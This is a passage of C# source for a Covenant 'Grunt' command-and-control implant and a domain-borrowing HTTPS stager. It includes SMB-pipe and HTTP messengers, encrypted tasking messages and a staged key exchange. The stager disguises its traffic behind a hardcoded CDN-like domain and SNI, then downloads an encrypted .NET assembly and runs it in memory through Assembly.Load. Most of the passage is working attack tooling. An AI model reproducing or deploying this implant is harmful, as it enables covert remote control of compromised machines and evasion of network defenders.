                // If named pipe became disconnected (!this.IsConnected), then try to re-connect to the SMB server, else continue.
                else
                {
                    NamedPipeClientStream ClientPipe = new NamedPipeClientStream(Hostname, PipeName, PipeDirection.InOut, PipeOptions.Asynchronous);
                    ClientPipe.Connect(Timeout);
                    ClientPipe.ReadMode = PipeTransmissionMode.Byte;
                    this.Pipe = ClientPipe;
                    this.IsConnected = true;
                    // Start the pipe status monitoring thread
                    this.MonitorPipeState();
                }
            }
        }

        private void MonitorPipeState()
        {
            this.MonitoringThread = new Thread(() =>
            {
                while (this.IsConnected)
                {
                    try
                    {

                        Thread.Sleep(1000);
                        // We cannot use this.Pipe.IsConnected because this will result in a deadlock
                        this.IsConnected = this._Pipe.IsConnected;
                        if (!this.IsConnected)
                        {
                            this._Pipe.Close();
                            this._Pipe = null;
                        }
                    }
                    catch (Exception) { }
                }
            });
            this.MonitoringThread.IsBackground = true;
            this.MonitoringThread.Start();
        }

        private void WriteBytes(byte[] bytes)
        {
            byte[] compressed = Utilities.Compress(bytes);
            byte[] size = new byte[4];
            size[0] = (byte)(compressed.Length >> 24);
            size[1] = (byte)(compressed.Length >> 16);
            size[2] = (byte)(compressed.Length >> 8);
            size[3] = (byte)compressed.Length;
            this.Pipe.Write(size, 0, size.Length);
            var writtenBytes = 0;
            while (writtenBytes < compressed.Length)
            {
                int bytesToWrite = Math.Min(compressed.Length - writtenBytes, 1024);
                this.Pipe.Write(compressed, writtenBytes, bytesToWrite);
                writtenBytes += bytesToWrite;
            }
        }

        private byte[] ReadBytes()
        {
            byte[] size = new byte[4];
            int totalReadBytes = 0;
            do
            {
                totalReadBytes += this.Pipe.Read(size, 0, size.Length);
            } while (totalReadBytes < size.Length);
            int len = (size[0] << 24) + (size[1] << 16) + (size[2] << 8) + size[3];

            byte[] buffer = new byte[1024];
            using (var ms = new MemoryStream())
            {
                totalReadBytes = 0;
                int readBytes = 0;
                do
                {
                    readBytes = this.Pipe.Read(buffer, 0, buffer.Length);
                    ms.Write(buffer, 0, readBytes);
                    totalReadBytes += readBytes;
                } while (totalReadBytes < len);
                return Utilities.Decompress(ms.ToArray());
            }
        }
    }

    public class HttpMessenger : IMessenger
    {
        public string Hostname { get; } = "";
        public string Identifier { get; set; } = "";
        public string Authenticator { get; set; } = "";
        public EventHandler<MessageEventArgs> UpstreamEventHandler { get; set; }

        private HttpsClient CovenantClient { get; set; }
        private object _WebClientLock = new object();

        private Random Random { get; set; } = new Random();
        private List<string> ProfileHttpHeaderNames { get; }
        private List<string> ProfileHttpHeaderValues { get; }
        private List<string> ProfileHttpUrls { get; }

        private Queue<ProfileMessage> ToReadQueue { get; } = new Queue<ProfileMessage>();

        public HttpMessenger(string Addr, int Port, string SNI, string CovenantCertHash, bool UseCertPinning, bool ValidateCert, List<string> ProfileHttpHeaderNames, List<string> ProfileHttpHeaderValues, List<string> ProfileHttpUrls)
        {
            this.Hostname = SNI; // 这个Hostname的作用是什么
            this.ProfileHttpHeaderNames = ProfileHttpHeaderNames;
            this.ProfileHttpHeaderValues = ProfileHttpHeaderValues;
            this.ProfileHttpUrls = ProfileHttpUrls;
            this.CovenantClient = new HttpsClient(Addr, Port, SNI, ValidateCert, UseCertPinning, CovenantCertHash);
        }

        public ProfileMessage Read()
        {
            if (this.ToReadQueue.Any())
            {
                return this.ToReadQueue.Dequeue();
            }
            lock (this._WebClientLock)
            {
                Dictionary<string, string> headers = new Dictionary<string, string>();
                this.SetupCookieWebClient(ref headers);
                return new ProfileMessage { Type = MessageType.Read, Message = this.CovenantClient.Get(this.GetURL(), headers) };
            }
        }

        public void Write(string Message)
        {
            lock (this._WebClientLock)
            {
                Dictionary<string, string> headers = new Dictionary<string, string>();
                this.SetupCookieWebClient(ref headers);
                ProfileMessage ToReadMessage = new ProfileMessage { Type = MessageType.Write, Message = this.CovenantClient.Post(this.GetURL(), Message, headers) };
                if (ToReadMessage.Message != "")
                {
                    this.ToReadQueue.Enqueue(ToReadMessage);
                }
            }
        }

        public void Close() { }

        private string GetURL()
        {
            return this.ProfileHttpUrls[this.Random.Next(this.ProfileHttpUrls.Count)].Replace("{GUID}", this.Identifier);
        }

        private void SetupCookieWebClient(ref Dictionary<string, string> headers)
        {
            for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
            {
                headers[ProfileHttpHeaderNames[i].Replace("{GUID}", this.Identifier)] = ProfileHttpHeaderValues[i].Replace("{GUID}", this.Identifier);
            }
        }
    }

    public class MessageCrafter
    {
        private string GUID { get; }
        private Aes SessionKey { get; }

        public MessageCrafter(string GUID, Aes SessionKey)
        {
            this.GUID = GUID;
            this.SessionKey = SessionKey;
        }

        public GruntEncryptedMessage Create(string Message, string Meta = "")
        {
            return this.Create(Common.GruntEncoding.GetBytes(Message), Meta);
        }

        public GruntEncryptedMessage Create(byte[] Message, string Meta = "")
        {
            byte[] encryptedMessagePacket = Utilities.AesEncrypt(Message, this.SessionKey.Key);
            byte[] encryptionIV = new byte[Common.AesIVLength];
            Buffer.BlockCopy(encryptedMessagePacket, 0, encryptionIV, 0, Common.AesIVLength);
            byte[] encryptedMessage = new byte[encryptedMessagePacket.Length - Common.AesIVLength];
            Buffer.BlockCopy(encryptedMessagePacket, Common.AesIVLength, encryptedMessage, 0, encryptedMessagePacket.Length - Common.AesIVLength);

            byte[] hmac = Utilities.ComputeHMAC(encryptedMessage, SessionKey.Key);
            return new GruntEncryptedMessage
            {
                GUID = this.GUID,
                Meta = Meta,
                EncryptedMessage = Convert.ToBase64String(encryptedMessage),
                IV = Convert.ToBase64String(encryptionIV),
                HMAC = Convert.ToBase64String(hmac)
            };
        }

        public string Retrieve(GruntEncryptedMessage message)
        {
            if (message == null || !message.VerifyHMAC(this.SessionKey.Key))
            {
                return null;
            }
            return Common.GruntEncoding.GetString(Utilities.AesDecrypt(message, SessionKey.Key));
        }
    }

    public class CookieWebClient : WebClient
    {
        private CookieContainer CookieContainer { get; }
        public CookieWebClient()
        {
            this.CookieContainer = new CookieContainer();
        }
        public void SetCookies(Uri uri, string cookies)
        {
            this.CookieContainer.SetCookies(uri, cookies);
        }
        protected override WebRequest GetWebRequest(Uri address)
        {
            var request = base.GetWebRequest(address) as HttpWebRequest;
            if (request == null) return base.GetWebRequest(address);
            request.CookieContainer = CookieContainer;
            return request;
        }
    }

    public enum GruntTaskingType
    {
        Assembly,
        SetDelay,
        SetJitter,
        SetConnectAttempts,
        SetKillDate,
        Exit,
        Connect,
        Disconnect,
        Tasks,
        TaskKill
    }

    public class GruntTaskingMessage
    {
        public GruntTaskingType Type { get; set; }
        public string Name { get; set; }
        public string Message { get; set; }
        public bool Token { get; set; }

        private static string GruntTaskingMessageFormat = @"{{""type"":""{0}"",""name"":""{1}"",""message"":""{2}"",""token"":{3}}}";
        public static GruntTaskingMessage FromJson(string message)
        {
            List<string> parseList = Utilities.Parse(message, GruntTaskingMessageFormat);
            if (parseList.Count < 3) { return null; }
            return new GruntTaskingMessage
            {
                Type = (GruntTaskingType)Enum.Parse(typeof(GruntTaskingType), parseList[0], true),
                Name = parseList[1],
                Message = parseList[2],
                Token = Convert.ToBoolean(parseList[3])
            };
        }

        public static string ToJson(GruntTaskingMessage message)
        {
            return String.Format(
                GruntTaskingMessageFormat,
                message.Type.ToString("D"),
                Utilities.JavaScriptStringEncode(message.Name),
                Utilities.JavaScriptStringEncode(message.Message),
                message.Token
            );
        }
    }

    public enum GruntTaskingStatus
    {
        Uninitialized,
        Tasked,
        Progressed,
        Completed,
        Aborted
    }

    public class GruntTaskingMessageResponse
    {
        public GruntTaskingMessageResponse(GruntTaskingStatus status, string output)
        {
            Status = status;
            Output = output;
        }
        public GruntTaskingStatus Status { get; set; }
        public string Output { get; set; }

        private static string GruntTaskingMessageResponseFormat = @"{{""status"":""{0}"",""output"":""{1}""}}";
        public string ToJson()
        {
            return String.Format(
                GruntTaskingMessageResponseFormat,
                this.Status.ToString("D"),
                Utilities.JavaScriptStringEncode(this.Output)
            );
        }
    }

    public class GruntEncryptedMessage
    {
        public enum GruntEncryptedMessageType
        {
            Routing,
            Tasking
        }

        public string GUID { get; set; } = "";
        public GruntEncryptedMessageType Type { get; set; }
        public string Meta { get; set; } = "";
        public string IV { get; set; } = "";
        public string EncryptedMessage { get; set; } = "";
        public string HMAC { get; set; } = "";

        public bool VerifyHMAC(byte[] Key)
        {
            if (EncryptedMessage == "" || HMAC == "" || Key.Length == 0) { return false; }
            try
            {
                var hashedBytes = Convert.FromBase64String(this.EncryptedMessage);
                return Utilities.VerifyHMAC(hashedBytes, Convert.FromBase64String(this.HMAC), Key);
            }
            catch
            {
                return false;
            }
        }

        private static string GruntEncryptedMessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";
        public static GruntEncryptedMessage FromJson(string message)
        {
            List<string> parseList = Utilities.Parse(message, GruntEncryptedMessageFormat);
            if (parseList.Count < 5) { return null; }
            return new GruntEncryptedMessage
            {
                GUID = parseList[0],
                Type = (GruntEncryptedMessageType)int.Parse(parseList[1]),
                Meta = parseList[2],
                IV = parseList[3],
                EncryptedMessage = parseList[4],
                HMAC = parseList[5]
            };
        }

        public static string ToJson(GruntEncryptedMessage message)
        {
            return String.Format(
                GruntEncryptedMessageFormat,
                Utilities.JavaScriptStringEncode(message.GUID),
                message.Type.ToString("D"),
                Utilities.JavaScriptStringEncode(message.Meta),
                Utilities.JavaScriptStringEncode(message.IV),
                Utilities.JavaScriptStringEncode(message.EncryptedMessage),
                Utilities.JavaScriptStringEncode(message.HMAC)
            );
        }
    }

    public static class Common
    {
        public static int AesIVLength = 16;
        public static CipherMode AesCipherMode = CipherMode.CBC;
        public static PaddingMode AesPaddingMode = PaddingMode.PKCS7;
        public static Encoding GruntEncoding = Encoding.UTF8;
    }

    public static class Utilities
    {
        // Returns IV (16 bytes) + EncryptedData byte array
        public static byte[] AesEncrypt(byte[] data, byte[] key)
        {
            Aes SessionKey = Aes.Create();
            SessionKey.Mode = Common.AesCipherMode;
            SessionKey.Padding = Common.AesPaddingMode;
            SessionKey.GenerateIV();
            SessionKey.Key = key;

            byte[] encrypted = SessionKey.CreateEncryptor().TransformFinalBlock(data, 0, data.Length);
            byte[] result = new byte[SessionKey.IV.Length + encrypted.Length];
            Buffer.BlockCopy(SessionKey.IV, 0, result, 0, SessionKey.IV.Length);
            Buffer.BlockCopy(encrypted, 0, result, SessionKey.IV.Length, encrypted.Length);
            return result;
        }

        // Data should be of format: IV (16 bytes) + EncryptedBytes
        public static byte[] AesDecrypt(byte[] data, byte[] key)
        {
            Aes SessionKey = Aes.Create();
            byte[] iv = new byte[Common.AesIVLength];
            Buffer.BlockCopy(data, 0, iv, 0, Common.AesIVLength);
            SessionKey.IV = iv;
            SessionKey.Key = key;
            byte[] encryptedData = new byte[data.Length - Common.AesIVLength];
            Buffer.BlockCopy(data, Common.AesIVLength, encryptedData, 0, data.Length - Common.AesIVLength);
            byte[] decrypted = SessionKey.CreateDecryptor().TransformFinalBlock(encryptedData, 0, encryptedData.Length);

            return decrypted;
        }

        // Convenience method for decrypting an EncryptedMessagePacket
        public static byte[] AesDecrypt(GruntEncryptedMessage encryptedMessage, byte[] key)
        {
            byte[] iv = Convert.FromBase64String(encryptedMessage.IV);
            byte[] encrypted = Convert.FromBase64String(encryptedMessage.EncryptedMessage);
            byte[] combined = new byte[iv.Length + encrypted.Length];
            Buffer.BlockCopy(iv, 0, combined, 0, iv.Length);
            Buffer.BlockCopy(encrypted, 0, combined, iv.Length, encrypted.Length);

            return AesDecrypt(combined, key);
        }

        public static byte[] ComputeHMAC(byte[] data, byte[] key)
        {
            HMACSHA256 SessionHmac = new HMACSHA256(key);
            return SessionHmac.ComputeHash(data);
        }

        public static bool VerifyHMAC(byte[] hashedBytes, byte[] hash, byte[] key)
        {
            HMACSHA256 hmac = new HMACSHA256(key);
            byte[] calculatedHash = hmac.ComputeHash(hashedBytes);
            // Should do double hmac?
            return Convert.ToBase64String(calculatedHash) == Convert.ToBase64String(hash);
        }

        public static byte[] Compress(byte[] bytes)
        {
            byte[] compressedBytes;
            using (MemoryStream memoryStream = new MemoryStream())
            {
                using (DeflateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Compress))
                {
                    deflateStream.Write(bytes, 0, bytes.Length);
                }
                compressedBytes = memoryStream.ToArray();
            }
            return compressedBytes;
        }

        public static byte[] Decompress(byte[] compressed)
        {
            using (MemoryStream inputStream = new MemoryStream(compressed.Length))
            {
                inputStream.Write(compressed, 0, compressed.Length);
                inputStream.Seek(0, SeekOrigin.Begin);
                using (MemoryStream outputStream = new MemoryStream())
                {
                    using (DeflateStream deflateStream = new DeflateStream(inputStream, CompressionMode.Decompress))
                    {
                        byte[] buffer = new byte[4096];
                        int bytesRead;
                        while ((bytesRead = deflateStream.Read(buffer, 0, buffer.Length)) != 0)
                        {
                            outputStream.Write(buffer, 0, bytesRead);
                        }
                    }
                    return outputStream.ToArray();
                }
            }
        }

        public static List<string> Parse(string data, string format)
        {
            format = Regex.Escape(format).Replace("\\{", "{").Replace("{{", "{").Replace("}}", "}");
            if (format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); }
            if (format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); }
            if (format.Contains("{2}")) { format = format.Replace("{2}", "(?'group2'.*)"); }
            if (format.Contains("{3}")) { format = format.Replace("{3}", "(?'group3'.*)"); }
            if (format.Contains("{4}")) { format = format.Replace("{4}", "(?'group4'.*)"); }
            if (format.Contains("{5}")) { format = format.Replace("{5}", "(?'group5'.*)"); }
            Match match = new Regex(format).Match(data);
            List<string> matches = new List<string>();
            if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); }
            if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); }
            if (match.Groups["group2"] != null) { matches.Add(match.Groups["group2"].Value); }
            if (match.Groups["group3"] != null) { matches.Add(match.Groups["group3"].Value); }
            if (match.Groups["group4"] != null) { matches.Add(match.Groups["group4"].Value); }
            if (match.Groups["group5"] != null) { matches.Add(match.Groups["group5"].Value); }
            return matches;
        }

        // Adapted from https://github.com/mono/mono/blob/master/mcs/class/System.Web/System.Web/HttpUtility.cs
        public static string JavaScriptStringEncode(string value)
        {
            if (String.IsNullOrEmpty(value)) { return String.Empty; }
            int len = value.Length;
            bool needEncode = false;
            char c;
            for (int i = 0; i < len; i++)
            {
                c = value[i];
                if (c >= 0 && c <= 31 || c == 34 || c == 39 || c == 60 || c == 62 || c == 92)
                {
                    needEncode = true;
                    break;
                }
            }
            if (!needEncode) { return value; }

            var sb = new StringBuilder();
            for (int i = 0; i < len; i++)
            {
                c = value[i];
                if (c >= 0 && c <= 7 || c == 11 || c >= 14 && c <= 31 || c == 39 || c == 60 || c == 62)
                {
                    sb.AppendFormat("\\u{0:x4}", (int)c);
                }
                else
                {
                    switch ((int)c)
                    {
                        case 8:
                            sb.Append("\\b");
                            break;
                        case 9:
                            sb.Append("\\t");
                            break;
                        case 10:
                            sb.Append("\\n");
                            break;
                        case 12:
                            sb.Append("\\f");
                            break;
                        case 13:
                            sb.Append("\\r");
                            break;
                        case 34:
                            sb.Append("\\\"");
                            break;
                        case 92:
                            sb.Append("\\\\");
                            break;
                        default:
                            sb.Append(c);
                            break;
                    }
                }
            }
            return sb.ToString();
        }

        // {{REPLACE_PROFILE_MESSAGE_TRANSFORM}}
    }
}

================================================
FILE: Covenant/DomainBorrowingHttpsStager.cs
================================================
using System;
using System.Net;
using System.Net.Sockets;
using System.Net.Security;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.Reflection;
using System.Collections.Generic;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.IO;
using System.Security.Authentication;

namespace GruntStager
{
    public class HttpsClient
    {
        private string ip;
        private int port;
        private string sni;
        private Dictionary<string, string> defaultHeaders;
        private bool UseCertPinning;
        private bool ValidateCert;
        private string CovenantCertHash;

        public HttpsClient(string addr, int port, string sni, bool ValidateCert = false, bool UseCertPinning = false, string CovenantCertHash = "")
        {
            this.ip = doDNS(addr);
            this.port = port;
            this.sni = sni;
            this.defaultHeaders = new Dictionary<string, string>()
            {
                { "Host", sni },                // by default, Host == SNI
                { "Accept", "*/*" },
                { "Accept-Language", "en" },
                { "Connection", "close" },
            };
            this.UseCertPinning = UseCertPinning;
            this.ValidateCert = ValidateCert;
            this.CovenantCertHash = CovenantCertHash;
        }

        private string doDNS(string addr)
        {
            IPAddress ip;
            if (IPAddress.TryParse(addr, out ip))
            {
                return ip.ToString();
            }
            else
            {
                IPAddress[] ipAddrs = Dns.GetHostEntry(addr).AddressList;
                Random rand = new Random();
                return ipAddrs[rand.Next(ipAddrs.Length)].ToString();
            }
        }

        private SslStream initSsl()
        {
            X509Certificate2 ourCA = new X509Certificate2();
            RemoteCertificateValidationCallback callback = (sender, cert, chain, errors) =>
            {
                bool valid = true;
                if (UseCertPinning && CovenantCertHash != "")
                {
                    valid = cert.GetCertHashString() == CovenantCertHash;
                }
                if (valid && ValidateCert)
                {
                    valid = errors == SslPolicyErrors.None;
                }
                return valid;
            };
            try
            {
                TcpClient client = new TcpClient(ip, port);
                SslStream sslStream = new SslStream(client.GetStream(), false, callback, null);
                // ref: https://github.com/cobbr/Covenant/pull/238/files
                sslStream.AuthenticateAsClient(sni, null, SslProtocols.Ssl3 | SslProtocols.Tls | (SslProtocols)768 | (SslProtocols)3072 | (SslProtocols)12288, true);
                return sslStream;
            }
            catch (Exception e)
            {
                Console.Error.WriteLine(e.Message + Environment.NewLine + e.StackTrace);
                return null;
            }
        }

        private string readLine(SslStream sslStream)
        {
            using (var ms = new MemoryStream())
            {
                while (true)
                {
                    byte chr = (byte)sslStream.ReadByte();
                    if (chr == 13) // \r
                    {
                        sslStream.ReadByte(); // \n
                        break;
                    }
                    ms.WriteByte(chr);
                }
                return Encoding.UTF8.GetString(ms.ToArray());
            }
        }

        private byte[] readFull(SslStream sslStream, int length)
        {
            using (var ms = new MemoryStream())
            {
                while (length > 0)
                {
                    byte[] buffer = new byte[length];
                    int readLen = sslStream.Read(buffer, 0, buffer.Length);
                    ms.Write(buffer, 0, readLen);
                    length -= readLen;
                }
                return ms.ToArray();
            }
        }

        private string readResponse(SslStream sslStream)
        {
            Console.WriteLine("\n\n=============================== HTTP RSP ===============================");
            bool chunked = false;
            int contentLength = -1;

            using (var ms = new MemoryStream())
            {
                while (true)
                {
                    string line = readLine(sslStream);
                    Console.WriteLine(line);
                    if (line.ToLower().StartsWith("transfer-encoding") && line.ToLower().Contains("chunked"))
                    {
                        chunked = true;
                    }
                    if (line.ToLower().StartsWith("content-length"))
                    {
                        string val = line.Substring(line.IndexOf(":") + 1);
                        contentLength = int.Parse(val);
                    }
                    if (line.Equals("")) break;
                }

                if (chunked)
                {
                    while (true)
                    {
                        string chunkLenStr = readLine(sslStream);
                        Console.WriteLine(chunkLenStr);
                        int chunkLen = int.Parse(chunkLenStr, System.Globalization.NumberStyles.HexNumber);
                        if (chunkLen == 0) break;
                        byte[] buffer = readFull(sslStream, chunkLen);
                        Console.WriteLine(Encoding.UTF8.GetString(buffer).TrimEnd('\0'));
                        ms.Write(buffer, 0, buffer.Length);
                        readLine(sslStream);
                    }
                }
                else
                {
                    if (contentLength > 0)
                    {
                        byte[] buffer = readFull(sslStream, contentLength);
                        Console.WriteLine(Encoding.UTF8.GetString(buffer));
                        ms.Write(buffer, 0, buffer.Length);
                    }
                    else if (contentLength < 0)
                    {
                        byte[] buffer = new byte[10240];
                        while (true)
                        {
                            int len = sslStream.Read(buffer, 0, buffer.Length);
                            if (len > 0)
                            {
                                Console.WriteLine(Encoding.UTF8.GetString(buffer).TrimEnd('\0'));
                                ms.Write(buffer, 0, len);
                            }
                            else
                            {
                                break;
                            }
                        }
                    }
                }
                Console.WriteLine("\n\n");
                return Encoding.UTF8.GetString(ms.ToArray());
            }
        }

        private string buildHeaders(string method, Dictionary<string, string> headers, int dataLength = 0)
        {
            Dictionary<string, string> httpHeaders = new Dictionary<string, string>();
            if (headers != null)
            {
                foreach (string key in headers.Keys)
                {
                    httpHeaders[key] = headers[key];
                }
            }
            foreach (string key in defaultHeaders.Keys)
            {
                if (!httpHeaders.ContainsKey(key))
                {
                    httpHeaders[key] = defaultHeaders[key];
                }
            }
            if (method == "POST")
            {
                if (!httpHeaders.ContainsKey("Content-Type"))
                {
                    httpHeaders["Content-Type"] = "application/x-www-form-urlencoded";
                }
                httpHeaders["Content-Length"] = $@"{dataLength}";
            }
            string httpHeadersStr = "";
            foreach (string key in httpHeaders.Keys)
            {
                httpHeadersStr += $@"{key}: {httpHeaders[key]}" + "\r\n";
            }
            httpHeadersStr += "\r\n";
            return httpHeadersStr;
        }

        private string send(SslStream sslStream, string httpRequest)
        {
            Console.WriteLine("\n\n=============================== HTTP REQ ===============================");
            Console.WriteLine(httpRequest);
            Console.WriteLine("\n\n");
            sslStream.Write(Encoding.UTF8.GetBytes(httpRequest));
            sslStream.Flush();
            string rawResponse = readResponse(sslStream);
            sslStream.Close();
            return rawResponse;
        }

        public string Get(string path, Dictionary<string, string> headers = null)
        {
            var sslStream = initSsl();
            if (sslStream is null) return null;
            string method = "GET";
            string httpGetRequest = $@"{method} {path} HTTP/1.1" + "\r\n";
            httpGetRequest += buildHeaders(method, headers);
            return send(sslStream, httpGetRequest);
        }

        public string Post(string path, string data, Dictionary<string, string> headers = null)
        {
            var sslStream = initSsl();
            if (sslStream is null) return null;
            string method = "POST";
            string httpPostRequest = $@"{method} {path} HTTP/1.1" + "\r\n";
            httpPostRequest += buildHeaders(method, headers, data.Length);
            httpPostRequest += data;
            return send(sslStream, httpPostRequest);
        }
    }


    public class GruntStager
    {
        public GruntStager()
        {
            ExecuteStager();
        }
        [STAThread]
        public static void Main(string[] args)
        {
            new GruntStager();
        }
        public static void Execute()
        {
            new GruntStager();
        }
        public void ExecuteStager()
        {
            try
            {
                // ---------------------- configuration ----------------------
                string Addr = "staging.fontawesome.com"; // IP or Domain Name
                int Port = 443;
                string SNI = "img.fontawesome.com";
                // -----------------------------------------------------------

                string CovenantCertHash = @"{{REPLACE_COVENANT_CERT_HASH}}";
                List<string> ProfileHttpHeaderNames = @"{{REPLACE_PROFILE_HTTP_HEADER_NAMES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List<string> ProfileHttpHeaderValues = @"{{REPLACE_PROFILE_HTTP_HEADER_VALUES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List<string> ProfileHttpUrls = @"{{REPLACE_PROFILE_HTTP_URLS}}".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList();
                string ProfileHttpPostRequest = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}".Replace(Environment.NewLine, "\n");
                string ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}".Replace(Environment.NewLine, "\n");
                bool ValidateCert = bool.Parse(@"{{REPLACE_VALIDATE_CERT}}");
                bool UseCertPinning = bool.Parse(@"false");

                Random random = new Random();
                string aGUID = @"{{REPLACE_GRUNT_GUID}}";
                string GUID = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10);
                byte[] SetupKeyBytes = Convert.FromBase64String(@"{{REPLACE_GRUNT_SHARED_SECRET_PASSWORD}}");
                string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";

                Aes SetupAESKey = Aes.Create();
                SetupAESKey.Mode = CipherMode.CBC;
                SetupAESKey.Padding = PaddingMode.PKCS7;
                SetupAESKey.Key = SetupKeyBytes;
                SetupAESKey.GenerateIV();
                HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
                RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters());

                byte[] RSAPublicKeyBytes = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
                byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
                byte[] hash = hmac.ComputeHash(EncryptedRSAPublicKey);
                string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));

                string transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
                string Stage0Response = "";
                var wc = new HttpsClient(Addr, Port, SNI, ValidateCert, UseCertPinning, CovenantCertHash);
                Dictionary<string, string> headers = new Dictionary<string, string>();
                for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                {
                    headers[ProfileHttpHeaderNames[i].Replace("{GUID}", "")] = ProfileHttpHeaderValues[i].Replace("{GUID}", "");
                }
                wc.Get(ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", ""), headers);
                for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                {
                    headers[ProfileHttpHeaderNames[i].Replace("{GUID}", GUID)] = ProfileHttpHeaderValues[i].Replace("{GUID}", GUID);
                }
                Stage0Response = wc.Post(ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse), headers);
                string extracted = Parse(Stage0Response, ProfileHttpPostResponse)[0];
                extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                List<string> parsed = Parse(extracted, MessageFormat);
                string iv64str = parsed[3];
                string message64str = parsed[4];
                string hash64str = parsed[5];
                byte[] messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
                SetupAESKey.IV = Convert.FromBase64String(iv64str);
                byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] FullyDecrypted = rsa.Decrypt(PartiallyDecrypted, true);

                Aes SessionKey = Aes.Create();
                SessionKey.Mode = CipherMode.CBC;
                SessionKey.Padding = PaddingMode.PKCS7;
                SessionKey.Key = FullyDecrypted;
                SessionKey.GenerateIV();
                hmac = new HMACSHA256(SessionKey.Key);
                byte[] challenge1 = new byte[4];
                RandomNumberGenerator rng = RandomNumberGenerator.Create();
                rng.GetBytes(challenge1);
                byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
                hash = hmac.ComputeHash(EncryptedChallenge1);

                string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body));

                string Stage1Response = "";
                Stage1Response = wc.Post(ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse), headers);
                extracted = Parse(Stage1Response, ProfileHttpPostResponse)[0];
                extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed = Parse(extracted, MessageFormat);
                iv64str = parsed[3];
                message64str = parsed[4];
                hash64str = parsed[5];
                messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
                SessionKey.IV = Convert.FromBase64String(iv64str);

                byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] challenge1Test = new byte[4];
                byte[] challenge2 = new byte[4];
                Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
                Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
                if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test)) { return; }

                SessionKey.GenerateIV();
                byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
                hash = hmac.ComputeHash(EncryptedChallenge2);

                string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body));

                string Stage2Response = "";
                Stage2Response = wc.Post(ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse), headers);
                extracted = Parse(Stage2Response, ProfileHttpPostResponse)[0];
                extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed = Parse(extracted, MessageFormat);
                iv64str = parsed[3];
                message64str = parsed[4];
                hash64str = parsed[5];
                messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
                SessionKey.IV = Convert.FromBase64String(iv64str);
                byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                Assembly gruntAssembly = Assembly.Load(DecryptedAssembly);
                gruntAssembly.GetTypes()[1].GetMethods()[0].Invoke(null, new Object[] { Addr, Port, SNI, CovenantCertHash, GUID, SessionKey }); // Grunt.Execute
            }
            catch (Exception e) { Console.Error.WriteLine(e.Message + Environment.NewLine + e.StackTrace); }
        }

        public static List<string> Parse(string data, string format)
        {
            format = Regex.Escape(format).Replace("\\{", "{").Replace("{{", "{").Replace("}}", "}");
